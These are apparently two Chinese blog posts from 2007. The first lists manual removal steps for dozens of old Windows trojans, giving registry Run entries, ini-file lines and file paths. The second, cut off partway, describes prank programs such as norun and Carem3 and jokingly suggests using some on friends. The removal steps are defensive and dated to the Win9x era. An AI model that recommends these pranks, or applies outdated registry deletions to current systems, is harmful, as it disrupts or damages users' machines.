删除右边的项目：Explore="C:/windows/bad.exe "
关闭保存Regedit，重新启动Windows
删除C:/windows/bad.exe
ＯＫ
46. Intruder
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：PPModule1 = ‘ppmod1.sys‘
关闭保存Regedit，重新启动Windows
删除C:/windows/system/ ppmod1.sys
删除C:/windows/system/ ppmod2.sys
ＯＫ
47. IRC3
清除木马的步骤：

打开win.ini文件
找到load=closew项目，更改为：load=
保存关闭win.ini，重新启动Windows
查找这两个文件‘rundlls.exe‘ 、‘closew.bat‘
并删除它们。
ＯＫ
48. Kaos v1.1 - 1.3
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Sys="c:/windows/shell32.exe"
关闭保存Regedit，重新启动Windows
删除c:/windows/shell32.exe
ＯＫ
49. Khe Sanh v2.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：TBoot0001="c:/windows/system/trjp.exe"
关闭保存Regedit，重新启动Windows
删除c:/windows/system/trjp.exe
ＯＫ
50. Kuang logger
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：K2logas.task ="C:/WINDOWS/SYSTEM/K2logas.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/SYSTEM/K2logas.exe
ＯＫ
51. Kuang Original - 0.34
清除木马v Original版本：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Temp$1.task = "c:/windows/system/temp$1.exe"
清除木马v 0.20-0.21版本：
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：K2PS.task = "c:/windows/system/k2ps.exe"
清除木马v 0.30-0.34版本：
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：K2PS_full.task = "c:/windows/system/k2ps_full.exe"

关闭保存Regedit，重新启动Windows
查找相对应的木马程序，并删除。
ＯＫ
52. Logger
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：??? = "C:/windows/system/logged.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/SYSTEM/ logged.exe
ＯＫ
53. Magic Horse
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SpoolerService="c:/windows/spoolsrv.exe"
关闭保存Regedit，重新启动Windows
删除c:/windows/spoolsrv.exe
ＯＫ
54. Malicious
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_USERS/.Default/Software/Microsoft/Windows/CurrentVersion/Policies/
删除右边的五个项目：DisableRegistryTools NoRun NoFind NoDesktop NoClose
关闭保存Regedit，重新启动Windows
OK
55. Masters Paradise
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SYSEDIT = c:/windows/ sysedit.exe
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices
删除右边的项目：Explorer = c:/....../agent.exe
关闭保存Regedit，重新启动Windows
查找到木马程序，并删除它们。
注意：c:/windows/system/下面的sysedit.exe文件是不是19KB，如果不是说明以被木马感染，删除它。
ＯＫ
56. Matrix v1.0 - 2.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：??? ="C:/WINDOWS/Wincfg.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/Wincfg.exe
ＯＫ

57. MBK
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
查找并删除右边的项目：Explorer =" "后面是"mbt.exe"
关闭保存Regedit，重新启动Windows
查找mbt.exe并删除
ＯＫ
58. Millenium v1.0 - 2.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Millenium = "C:/windows/system/reg66.exe "
关闭保存Regedit，重新启动Windows
删除C:/windows/system/reg66.exe
ＯＫ
59. Mine
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目： Windows = ‘c:/msdos98.exe‘
关闭保存Regedit，重新启动Windows
删除c:/msdos98.exe
打开win.ini文件
查找到run=c:/windows/uninstallms.exe
更改为：run=
关闭保存win.ini，重新启动Windows
del c:/msdos98.exe
del c:/windows/uninst~1.exe
del c:/windows/system/mine.exe
ＯＫ
60. MoSucker
清除木马的步骤：

打开system.ini文件
查找到shell=Explorer.exe unin0686.exe
更改为：shell= Explorer.exe
关闭保存system.ini，重新启动Windows
删除C:/windows/unin0686.exe
ＯＫ
61. Naebi v2.12 - 2.40
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_CURRENT_USER/Software/Mirabilis/ICQ/Agent/Apps/ICQ
v2.12删除右边的项目：path= "C:/windows/msramgr.exe "
v2.15删除右边的项目：path= "C:/windows/ msdll32.exe "
v2.19删除右边的项目：path= "C:/windows/ naebi219.exe "
v2.xx删除右边的项目：path= "C:/windows/ naebi219.exe "文件名可能还是naebi.exe , ns220.exe, ns227, ns231, ns234
关闭保存Regedit
v2.34和上面相同，但它在win.ini增加了启动
打开win.ini文件
把run=后面的路径删除
关闭保存win.ini，重新启动Windows
查找相应的木马程序，并删除
ＯＫ
62. NetController v1.08
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：System = ‘c:/windows/system.exe‘
关闭保存Regedit，重新启动Windows
删除c:/windows/system.exe
ＯＫ
63. NetRaider v0.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Rsrcnrs = ‘C:/windows/rsrcnrs.exe‘
关闭保存Regedit，重新启动Windows
删除C:/windows/rsrcnrs.exe
ＯＫ
64. NetSphere v1.0 - 1.31337
清除木马v1.0-1.30：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：NSSX ="C:/WINDOWS/system/nssx.exe"
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
HKEY_USERS/****/Software/Microsoft/Windows/CurrentVersion/Run
删除项目同上。
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/system/nssx.exe
ＯＫ
清除木马v1.30-1.31337：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：ExecPowerProfile ="C:/WINDOWS/system/epp32.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/system/epp32.exe
ＯＫ
65. NetSpy v1.0 - 2.0
清除木马v1.0：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SysProtect = "c:/windows/system/system.exe"
关闭保存Regedit，重新启动Windows
删除c:/windows/system/system.exe
ＯＫ
清除木马v2.0：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Netspy = "netspy.exe"
关闭保存Regedit，重新启动Windows
查找到netspy.exe，并删除
ＯＫ
66. NetTrojan v1.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：*** = "C:/WINDOWS/System/glide16.exe"
关闭保存Regedit
打开win.ini文件
查找到run=c:/windows/fxp.exe
把run=后面的路径删除
关闭保存win.ini，重新启动Windows
查找相应的木马程序，并删除
ＯＫ
67. Nirvana / VisualKiller v1.94 - 1.95
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：TheDoor = ‘c:/windows/fonts/ariel.exe‘
关闭保存Regedit，重新启动Windows
删除c:/windows/fonts/ariel.exe
ＯＫ
68. Phaze Zero v1.0b + 1.1
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：MsgServ = "msgsvr32.exe"
关闭保存Regedit，重新启动Windows
查找相应的木马程序，并删除
ＯＫ
69. Prayer v1.2 - 1.5
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SysFiles = "C:/WINDOWS/System/dlls32.exe"
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SysFiles = "C:/WINDOWS/System/dlls32.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/System/dlls32.exe
ＯＫ
70. PRIORITY (Beta)
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run Services
/
删除右边的项目："PServer"= C:/Windows/System/PServer.exe
关闭保存Regedit，重新启动Windows
删除C:/Windows/System/PServer.exe
ＯＫ
71. Progenic Password Thief / Keylogger v1.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：pwt ="C:/WINDOWS/SYSTEM/pwt.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/SYSTEM/pwt.exe
ＯＫ
72. Progenic v1.0 -3.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Scandisk = "C:/WINDOWS/scandiskvr.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/scandiskvr.exe
ＯＫ
73. Prosiak beta - 0.70 b5
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices/
删除右边的项目：Microsoft DLL Loader = "windll32.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/ windll32.exe
ＯＫ
74. Retrieve v1.3
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Microsoft Access ="C:/WINDOWS/access.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/access.exe
ＯＫ
75. Revenger v1.0 - 1.5
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：AppName ="C:/.../server.exe"
关闭保存Regedit，重新启动Windows
在c:/windows查找相应的木马程序server.exe，并删除
ＯＫ

76. Ripper
清除木马的步骤：

打开system.ini文件
将shell=explorer.exe sysrunt.exe
改为shell= explorer.exe
关闭保存system.ini，重新启动Windows
在c:/windows查找相应的木马程序sysrunt.exe，并删除
ＯＫ
77. Satans Back Door v1.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices/
删除右边的项目：sysprot protection ="C:/windows/sysprot.exe"
关闭保存Regedit，重新启动Windows
删除C:/windows/sysprot.exe
ＯＫ
78. Schwindler v1.82
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：User.exe = "C:/WINDOWS/User.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/User.exe
ＯＫ
79. Setup Trojan (Sshare) +Mod Small Share
这个共享隐藏Ｃ盘的木马
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Network/LanMan/
选择右边有‘C$‘的项目，并全部删除
关闭保存Regedit，重新启动Windows
ＯＫ
80. ShadowPhyre v2.12.38 - 2.X
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：WinZipp = "C:/WINDOWS/SYSTEM/WinZipp.exe /nomsg"
或者WinZip = "C:/WINDOWS/SYSTEM/WinZip.exe /nomsg"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/ WinZipp.exe或者C:/WINDOWS/ WinZip.exe
ＯＫ
81. Share All

清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Network/LanMan/
这里你将看到所有被木马共享出来的你的硬盘符号，把它们一个个删除掉。

82. ShitHeap
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices/
删除右边的项目：recycle-bin = "c:/windows/system/recycle-bin.exe"
或者recycle-bin = "c:/windows/system.exe"
关闭保存Regedit，重新启动Windows
删除c:/windows/system/recycle-bin.exe或者c:/windows/system.exe
ＯＫ
83. Snid v1 - 2
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：System-tray = ‘c:/windows/temp$01.exe‘
关闭保存Regedit，重新启动Windows
删除c:/windows/temp$01.exe
ＯＫ
84. Softwarst
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：NetApp = C:/windows/system/winserv.exe
关闭保存Regedit，重新启动Windows
删除C:/windows/system/winserv.exe
ＯＫ
85. Spirit 2000 Beta - v1.2 (fixed)
清除木马v Beta版本:

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：internet = "c:/windows/netip.exe "
关闭保存Regedit
打开win.ini文件
查找到run=c:/windows/netip.exe
更改为：run=
关闭保存win.ini，重新启动Windows
删除c:/windows/netip.exe和c:/windows/netip.exe
ＯＫ

清除木马v 1.2版本:
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SystemTray = "c:/windows/windown.exe "
关闭保存Regedit，重新启动Windows
删除c:/windows/windown.exe
ＯＫ

清除木马v 1.2(fixed)版本:
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Server 1.2.exe = "c:/windows/server 1.2.exe"
关闭保存Regedit，重新启动Windows
删除c:/windows/server 1.2.exe
ＯＫ
86. Stealth v2.0 - 2.16
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Winprotect System = "C:/WINDOWS/winprotecte.exe
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/winprotecte.exe
ＯＫ
87. SubSeven - Introduction
清除木马v1.0 - 1.1：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SystemTrayIcon = "C:/WINDOWS/SysTrayIcon.Exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/SysTrayIcon.Exe
ＯＫ

清除木马v1.3 - 1.4 - 1.5：

打开win.ini文件
查找到run=nodll
更改为run=
关闭保存win.ini，重新启动Windows
删除c:/windows/nodll.exe
ＯＫ

清除木马v1.6：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SystemTray = "SysTray.Exe"
关闭保存Regedit，重新启动Windows
删除C:/windows/systray.exe
ＯＫ

清除木马v1.7：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices
/
查找到右边的项目：C:/windows/kernel16.dl，并删除
关闭保存Regedit，重新启动Windows
删除C:/windows/kernel16.dl
ＯＫ

清除木马v1.8：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run和
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices
/
查找到右边的项目：c:/windows/system.ini.，并删除
关闭保存Regedit。
打开win.ini文件
查找到run= kernel16.dl
更改为run=
关闭保存win.ini。
打开system.ini文件
查找到shell=explorer.exe kernel32.dl
更改为shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除C:/windows/kernel16.dl
ＯＫ

清除木马v1.9 - 1.9b：

清除木马v2.0：

打开system.ini文件
查找到shell=explorer.exe trojanname.exe
更改为shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除c:/windows/rundll16.exe
ＯＫ

清除木马v2.1 - 2.1 Gold + SubStealth- 2.1.3 Mod + 2.1.3 MUIE + 2.1 Bonus：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run和
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices
/
删除右边的项目：WinLoader = MSREXE.EXE
hkey_classes_root/exefile/shell/open/command
将右边的项目更改为：@="/"%1/" %*"
关闭保存Regedit。
打开win.ini文件
查找到run=msrexe.exe和
load=msrexe.exe
更改为run=
load=
关闭保存win.ini。
打开system.ini文件
查找到shell=explore.exe msrexe.exe
更改为shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除C:/windows/ msrexe.exe
C:/windows/system/systray.dll
ＯＫ

清除木马v2.2b1：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run和
删除右边的项目：加载器 = "c:/windows/system/***"
注：加载器和文件名是随意改变的
关闭保存Regedit。
打开win.ini文件
更改为run=
关闭保存win.ini。
打开system.ini文件
更改为shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除相对应的木马程序
ＯＫ

88. Telecommando 1.54
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SystemApp＝"ODBC.EXE"
关闭保存Regedit，重新启动Windows
删除C:/windows/system/ ODBC.EXE
ＯＫ
89. The Unexplained
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：InetB00st = "C:/WINDOWS/TEMPINETB00ST.EXE"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/TEMPINETB00ST.EXE
ＯＫ
90. Thing v1.00 - 1.60
清除木马v1.00-1.12：

点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：(Default) = "C:/some/path/here/thing.exe"
也有一些是在：
HKEY_LOCAL_MACHINE/System/CurrentControlSet/control/SessionManager/Known16DLLs/
删除右边的项目：wsasrv.exe = "wsasrv.exe"
关闭保存Regedit，重新启动Windows
删除C:/some/path/here/thing.exe
ＯＫ

清除木马v 1.20版本:
进入MS_DOS方式：
del winspc13.exe
del ms097.exe
打开system.ini文件
查找到shell=explorer.exe ms097.exe
更改为：shell=explorer.exe
关闭保存system.ini，重新启动Windows
ＯＫ

清除木马v1.50版本:
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
这个项目的路径和文件名是随机改变的，察看有可疑的文件路径，将它删除。
关闭保存Regedit。
打开system.ini文件
查找到shell=explorer.exe后面是木马文件
更改为：shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除相应的木马文件
ＯＫ

清除木马v1.50版本:
进入MS_DOS方式：
del winspc13.exe
del ms097.exe
打开system.ini文件
查找到shell=explorer.exe后面是木马文件
更改为：shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除相应的木马文件
ＯＫ
91. Transmission Scount v1.1 - 1.2
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Kernel16" = C:/WINDOWS/Kernel16.exe
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/Kernel16.exe
ＯＫ
92. Trinoo
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目： System Services = service.exe
关闭保存Regedit，重新启动Windows
删除C:/windows/system/service.exe
ＯＫ
93. Trojan Cow v1.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SysWindow = "C:/WINDOWS/Syswindow.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/Syswindow.exe
ＯＫ
94. TryIt
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Rc5Dec = C:/Program Files/Internet Explorer/_.exe -guistart
关闭保存Regedit，重新启动Windows
删除C:/Program Files/Internet Explorer/_.exe
ＯＫ
95. Vampire v1.0 - 1.2
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Sockets ="c:/windows/system/Sockets.exe"
关闭保存Regedit，重新启动Windows
删除c:/windows/system/Sockets.exe
ＯＫ
96. WarTrojan v1.0 - 2.0
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：Kernel32 = "C:/somepath/server.exe"
关闭保存Regedit，重新启动Windows
删除C:/somepath/server.exe
ＯＫ
97. wCrat v1.2b
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：MS Windows System Explorer ="C:/WINDOWS/sysexplor.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/sysexplor.exe
ＯＫ
98. WebEx (v1.2, 1.3, and 1.4)
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：RunDl32 = "C:/windows/system/task_bar"
关闭保存Regedit，重新启动Windows
删除C:/windows/system/task_bar.exe和c:/windows/system/msinet.ocx
ＯＫ
99. WinCrash v2
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：WinManager = "c:/windows/server.exe"
关闭保存Regedit
打开win.ini文件
查找到run=c:/windows/server.exe
更改为：run=
保存关闭win.ini，重新启动Windows
删除c:/windows/server.exe
ＯＫ
100. WinCrash
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：MsManager ="SERVER.EXE"
关闭保存Regedit，重新启动Windows
删除C:/windows/system/ SERVER.EXE
ＯＫ
101. Xanadu v1.1
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：SETUP = "c:/somepath/setup.exe"
关闭保存Regedit，重新启动Windows
删除c:/somepath/setup.exe
ＯＫ
102. Xplorer v1.20
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：PCX = "C:/WINDOWS/system/PCX.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/system/PCX.exe
ＯＫ
103. Xtcp v2.0 - 2.1
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除右边的项目：msgsv32 = "C:/WINDOWS/system/winmsg32.exe"
关闭保存Regedit，重新启动Windows
删除C:/WINDOWS/system/winmsg32.exe
ＯＫ
104. YAT
清除木马的步骤：

打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices/
删除右边的项目：Batterieanzeige = ‘c:/pathnamehere/server.exe /nomsg‘
关闭保存Regedit，重新启动Windows
删除c:/pathnamehere/server.exe
ＯＫ

yiye 2007-05-20 13:55 发表评论

十二种流行恶作剧程序简介与清除

yiye — Sun, 20 May 2007 05:55:00 GMT

如今，网上流传着许多恶意程序，这些恶意程序一般都有解决办法，但对于网络新手来说，如果不知道解法，那就只有受其摆布，任其恣意破坏了。甚至于有硬盘被格式化或不得不重装系统的惨剧发生。因此有必要为大家介绍一下流行恶作剧程序的表现症状和清除方法，使大家对它们能有所防范，减少悲剧的发生。
　　
　　一、norun
　　
norun是个恶作剧软件，它只有一个可执行文件，12288字节大小，运行于Win98/ME下。运行后要求回答三道算数题。虽然题目很简单，但是一旦答错，机器将连续重启动12次（每次都有提示）后恢复正常。除此之外，没有其他影响。因此，norun是个真正的恶作剧软件，对大家的威胁并不大。不过，如果机器真的重新启动12次的话，也够恐怖的！所以也要掌握应对它的方法。
　　
　　最直接的方法是你回答对那三道题就可以了。不要担心，是小学二年级的都会做的算数题。
　　
　　如果你回答对了，就会出现对话框，点击“确定”软件运行结束。由于你回答对了，所以不会出现连续重启动12次这样的现象。
　　
　　如果你担心自己马虎回答错误（如果这个也回答不正确，那也太……），可以用进程管理软件终止该进程，这样就可以了。我们以Windows优化大师为例。运行Windows优化大师，点击“系统安全优化”→“进程管理”，在弹出的窗口中选中norun，点击“终止”按钮即可终止运行它，从而避免了norun造成的12次重启。
　　
　　点评：纯粹的恶作剧软件，可以用来跟朋友开玩笑用。
　　
　　恶毒程度：★
　　
　　二、ilr
　　
　　ilr也是个恶作剧程序，文件大小15KB。这么小的程序能干些什么破坏呢？它是个捉弄人的程序，运行后会把硬盘上所有分区里的文件夹通通变成回收站！使得你无法通过点击进入该文件夹！天啊，我要是想进入文件夹该怎么办呢？别着急，恢复方法是用以下格式运行该软件即可：xxxx.exe -recover，要记牢格式哦！
　　
　　点评：一个很另类的恶作剧软件，不破坏数据，不会让你无法进入系统中，但是它会让你无法进入文件夹，使你干着急，可以用来跟朋友开玩笑用。
　　
　　恶毒程度：★★
　　
　　三、FUHD
　　
　　这是一个垃圾文件生成器，程序运行后会在各磁盘（C:-H:）的每一个根目录、第一级子目录和第二级子目录生成随机文件名的垃圾文件。很久以前有个软件hdfill.exe有相似的功能，但是该hdfill需要VB4的运行库才能运行，在没有VB4运行库的机器中不能运行该程序。而该程序是用VB5编写的，虽然存在运行库的问题，但Win98中已经带有VB5的运行库，所以该程序可以在许多电脑中运行成功。也就是说许多朋友都有中招的可能和危险！
FUHD压缩包由四个文件组成：
　　
　　FUHD.exe：大小10752字节，所用图标为VB5的安装程序所用图标。直接在磁盘上生成垃圾文件，程序在后台运行，全过程没有任何提示。
　　
　　setup.exe：大小10752字节，所用图标为VB5的安装程序所用图标。运行后在后台生成垃圾文件。
　　
　　Undo.exe：大小6656字节。这是作者提供的删除上面两个EXE生成的垃圾文件的文件，如果你中招了，可以找来该文件，运行后就可以清除那些垃圾文件。
　　
　　readme.txt：说明文件。
　　
　　点评：虽然说现在很多人都有大硬盘，但是大量的垃圾文件分布在各个目录中，也是一件很麻烦的事。而且目录中含有过多的文件，会大大减慢系统的速度。作为恶作剧软件，它的危害不大。但如果不知道解除方法，也很讨厌。
　　
　　恶毒程度：★★☆
　　
　　四、Carem3
　　
　　Carem3是网络休闲庄（一个黑客网站）技术顾问Carem的作品，这是一个非常狠毒的恶意攻击软件，运行后如果不知道正确的破解方法，那肯定是要重装系统的。解压后的Carem3只有一个文件Carem3.exe，这是它所用的图标（左图），大家记住了，轻易不要运行使用这个图标的软件，因为给你下套的人会给它改名的，所以记住它的文件大小也是个不错的识别方法，Carem3.exe文件大小 321536字节。
　　
　　此时鼠标被控制在一定范围内，无法点击屏幕上的按钮，按动回车键就会弹出个窗口警告你不要随意运行可执行程序，说这只是个教训之类的话，然后会自动重新启动电脑，但你再也无法进入心爱的Windows桌面了！如果你没有按动任何键，Carem3也不会放过你，它会自动倒记时，从20秒到0就重新启动电脑，使你的系统崩溃！
　　
